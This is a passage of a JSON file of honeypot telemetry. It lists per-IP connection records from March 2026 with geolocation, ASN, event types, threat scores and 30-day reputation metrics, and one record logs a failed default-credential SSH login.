        "first_seen_30d": "2026-03-04T14:07:27.974000+00:00",
        "last_seen_30d": "2026-03-30T03:19:39.104000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 75,
        "Cowrie": 8,
        "Honeytrap": 8,
        "Redishoneypot": 6,
        "H0neytr4p": 4,
        "Dionaea": 3,
        "Tanner": 2
      }
    },
    "20.169.105.48": {
      "attack_count": 7,
      "first_seen": "2026-03-04T09:41:42.350Z",
      "last_seen": "2026-03-04T09:41:52.350Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 61.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.4,
        "persistence": 20.0,
        "diversity": 18,
        "spread": 20,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 69,
        "days_active_30d": 24,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T05:25:33+00:00",
        "last_seen_30d": "2026-03-25T12:21:11.156000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 46,
        "Honeytrap": 14,
        "Cowrie": 7,
        "Dionaea": 2
      }
    },
    "185.247.137.35": {
      "attack_count": 6,
      "first_seen": "2026-03-17T21:51:29.849Z",
      "last_seen": "2026-03-17T21:51:32.606Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Manchester",
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 28.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 13.3,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 16,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T13:51:12.211000+00:00",
        "last_seen_30d": "2026-03-23T12:30:56.753000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "95.167.225.76": {
      "attack_count": 6,
      "first_seen": "2026-03-02T04:44:19.859Z",
      "last_seen": "2026-03-20T11:34:23.268Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 24.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T04:44:19.859000+00:00",
        "last_seen_30d": "2026-03-20T11:44:30.237000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "184.105.247.195": {
      "attack_count": 5,
      "first_seen": "2026-03-03T06:04:12.302Z",
      "last_seen": "2026-03-24T14:14:03.995Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 304,
        "days_active_30d": 30,
        "ports_targeted_30d": 72,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T00:19:42+00:00",
        "last_seen_30d": "2026-03-31T13:19:02.905000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 185,
        "Honeytrap": 102,
        "Cowrie": 5,
        "ConPot": 4,
        "CitrixHoneypot": 3,
        "Dionaea": 3,
        "Honeyaml": 2
      }
    },
    "45.156.129.115": {
      "attack_count": 5,
      "first_seen": "2026-03-26T08:07:31.066Z",
      "last_seen": "2026-03-26T08:07:42.293Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 42.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 10.8,
        "persistence": 20.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 25,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T15:33:50+00:00",
        "last_seen_30d": "2026-03-26T08:08:46.833000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 5,
        "Honeytrap": 1
      }
    },
    "45.84.107.33": {
      "attack_count": 5,
      "first_seen": "2026-03-04T20:24:54.805Z",
      "last_seen": "2026-03-04T20:24:59.999Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "pi"
      ],
      "passwords_attempted": [
        "raspberry"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB",
      "threat_score": 77.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.7,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 26,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T16:26:59+00:00",
        "last_seen_30d": "2026-03-27T15:56:18.501000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 114,
        "Honeytrap": 48,
        "H0neytr4p": 10,
        "Ciscoasa": 7,
        "Cowrie": 5,
        "Tanner": 2
      }
    },
    "159.89.94.22": {
      "attack_count": 4,
      "first_seen": "2026-03-24T23:02:25.785Z",
      "last_seen": "2026-03-24T23:02:26.385Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T23:02:25.785000+00:00",
        "last_seen_30d": "2026-03-24T23:03:35.635000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "198.235.24.110": {
      "attack_count": 4,
      "first_seen": "2026-03-23T22:47:00.617Z",
      "last_seen": "2026-03-23T22:47:04.201Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 103,
        "days_active_30d": 30,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T08:34:40+00:00",
        "last_seen_30d": "2026-03-31T23:29:13.457000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 67,
        "Honeytrap": 25,
        "Cowrie": 4,
        "Dionaea": 3,
        "Redishoneypot": 3,
        "H0neytr4p": 1
      }
    },
    "199.45.154.136": {
      "attack_count": 4,
      "first_seen": "2026-03-15T20:19:43.395Z",
      "last_seen": "2026-03-15T20:19:58.407Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc.",
      "threat_score": 79.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.4,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 29,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-03T13:26:19.755000+00:00",
        "last_seen_30d": "2026-03-31T20:16:19.339000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Honeytrap": 12,
        "Cowrie": 4,
        "Sentrypeer": 1
      }
    },
    "3.84.5.23": {
      "attack_count": 4,
      "first_seen": "2026-03-29T01:10:27.792Z",
      "last_seen": "2026-03-29T01:10:31.718Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 32.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 3.3,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 4,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-26T00:50:50+00:00",
        "last_seen_30d": "2026-03-29T01:11:37.823000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4,
        "Honeytrap": 2
      }
    },
    "52.186.182.85": {
      "attack_count": 4,
      "first_seen": "2026-03-04T15:06:41.330Z",
      "last_seen": "2026-03-04T15:06:51.930Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 63.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.9,
        "persistence": 21.7,
        "diversity": 16,
        "spread": 20,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 26,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T17:32:44.231000+00:00",
        "last_seen_30d": "2026-03-27T08:21:54.680000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 24,
        "Honeytrap": 7,
        "ConPot": 4,
        "Cowrie": 4
      }
    },
    "54.211.15.44": {
      "attack_count": 4,
      "first_seen": "2026-03-18T00:59:53.430Z",
      "last_seen": "2026-03-18T00:59:59.456Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 32.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 8.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 10,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-18T00:59:53.430000+00:00",
        "last_seen_30d": "2026-03-27T01:05:00.763000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4,
        "Honeytrap": 1
      }
    },
    "65.49.1.90": {
      "attack_count": 4,
      "first_seen": "2026-03-03T14:27:44.749Z",
      "last_seen": "2026-03-03T14:27:48.749Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 83.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 17.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 50,
        "days_active_30d": 29,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T03:26:09+00:00",
        "last_seen_30d": "2026-03-30T10:30:40.956000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 40,
        "Cowrie": 4,
        "Honeytrap": 4,
        "Ciscoasa": 1,
        "Honeyaml": 1
      }
    },
    "143.110.150.233": {
      "attack_count": 3,
      "first_seen": "2026-03-26T19:38:45.907Z",
      "last_seen": "2026-03-26T19:38:46.261Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 54.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.7,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 94,
        "days_active_30d": 1,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-26T19:38:45+00:00",
        "last_seen_30d": "2026-03-26T19:39:57.596000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 68,
        "Honeytrap": 18,
        "Cowrie": 3,
        "Ciscoasa": 2,
        "CitrixHoneypot": 1,
        "Dionaea": 1,
        "H0neytr4p": 1
      }
    },
    "64.226.70.121": {
      "attack_count": 3,
      "first_seen": "2026-03-10T19:45:23.938Z",
      "last_seen": "2026-03-10T19:45:24.215Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 52.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.7,
        "persistence": 10.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 74,
        "days_active_30d": 13,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-10T19:45:23.938000+00:00",
        "last_seen_30d": "2026-03-22T14:14:17.248000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 56,
        "Honeytrap": 12,
        "Cowrie": 3,
        "CitrixHoneypot": 1,
        "Dionaea": 1,
        "H0neytr4p": 1
      }
    },
    "74.82.47.5": {
      "attack_count": 3,
      "first_seen": "2026-03-31T03:50:51.227Z",
      "last_seen": "2026-03-31T03:50:51.273Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Gunnison",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 96.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 401,
        "days_active_30d": 30,
        "ports_targeted_30d": 70,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T00:37:49+00:00",
        "last_seen_30d": "2026-03-31T15:04:39.784000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 256,
        "Honeytrap": 105,
        "Ciscoasa": 23,
        "ConPot": 7,
        "Dionaea": 4,
        "Cowrie": 3,
        "Tanner": 3
      }
    },
    "104.152.52.144": {
      "attack_count": 2,
      "first_seen": "2026-03-16T15:56:13.710Z",
      "last_seen": "2026-03-16T15:56:13.928Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 23.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 11.7,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 14,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T15:41:09.513000+00:00",
        "last_seen_30d": "2026-03-16T15:57:15.346000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Dionaea": 3,
        "Cowrie": 2
      }
    },
    "116.86.211.61": {
      "attack_count": 2,
      "first_seen": "2026-03-19T17:47:28.167Z",
      "last_seen": "2026-03-19T17:48:09.475Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 55430,
      "as_org": "Starhub Ltd",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-19T17:47:28.167000+00:00",
        "last_seen_30d": "2026-03-19T17:49:44.803000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 2,
        "Honeytrap": 2
      }
    },
    "118.232.124.19": {
      "attack_count": 2,
      "first_seen": "2026-03-09T10:31:58.083Z",
      "last_seen": "2026-03-09T10:32:11.337Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Tainan",
      "asn": 38841,
      "as_org": "kbro CO. Ltd.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T10:31:58.083000+00:00",
        "last_seen_30d": "2026-03-09T10:33:12.935000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "133.175.42.231": {
      "attack_count": 2,
      "first_seen": "2026-03-11T01:32:36.622Z",
      "last_seen": "2026-03-11T01:32:49.587Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tagara",
      "asn": 2519,
      "as_org": "ARTERIA Networks Corporation",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T01:32:36.622000+00:00",
        "last_seen_30d": "2026-03-11T01:33:51.009000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "160.119.76.51": {
      "attack_count": 2,
      "first_seen": "2026-03-22T10:02:09.354Z",
      "last_seen": "2026-03-22T10:04:09.358Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 53.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.9,
        "persistence": 2.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 387,
        "days_active_30d": 3,
        "ports_targeted_30d": 87,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-21T23:10:09+00:00",
        "last_seen_30d": "2026-03-23T14:43:23.044000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 335,
        "Honeytrap": 35,
        "Dionaea": 11,
        "ConPot": 2,
        "Cowrie": 2,
        "Miniprint": 2
      }
    },
    "176.213.141.182": {
      "attack_count": 2,
      "first_seen": "2026-03-11T10:14:24.485Z",
      "last_seen": "2026-03-11T10:16:24.513Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 57378,
      "as_org": "JSC ER-Telecom Holding",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T10:14:24.485000+00:00",
        "last_seen_30d": "2026-03-11T10:26:31.105000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "183.212.245.54": {
      "attack_count": 2,
      "first_seen": "2026-03-23T04:18:42.745Z",
      "last_seen": "2026-03-23T04:18:55.353Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuxi",
      "asn": 56046,
      "as_org": "China Mobile communications corporation",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T04:18:42.745000+00:00",
        "last_seen_30d": "2026-03-23T04:20:04.977000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "195.184.76.37": {
      "attack_count": 2,
      "first_seen": "2026-03-25T09:37:47.507Z",
      "last_seen": "2026-03-25T09:37:47.508Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 80.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 30,
        "ports_targeted_30d": 43,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T15:26:31+00:00",
        "last_seen_30d": "2026-03-31T00:55:42.292000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 64,
        "Honeytrap": 44,
        "Cowrie": 2
      }
    },
    "195.28.188.134": {
      "attack_count": 2,
      "first_seen": "2026-03-04T09:05:13.300Z",
      "last_seen": "2026-03-04T09:05:44.676Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": "Yerevan",
      "asn": 42991,
      "as_org": "BioNet LLC",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T09:05:13.300000+00:00",
        "last_seen_30d": "2026-03-04T09:06:45.502000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "203.236.109.13": {
      "attack_count": 2,
      "first_seen": "2026-03-02T18:22:25.922Z",
      "last_seen": "2026-03-02T18:22:38.617Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seocho-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T18:22:25.922000+00:00",
        "last_seen_30d": "2026-03-02T18:23:48.763000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "220.95.64.40": {
      "attack_count": 2,
      "first_seen": "2026-03-31T06:12:55.671Z",
      "last_seen": "2026-03-31T06:13:08.804Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Jung-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T06:12:55.671000+00:00",
        "last_seen_30d": "2026-03-31T06:14:13.396000+00:00",
        "days_since_last_seen": 0
      },
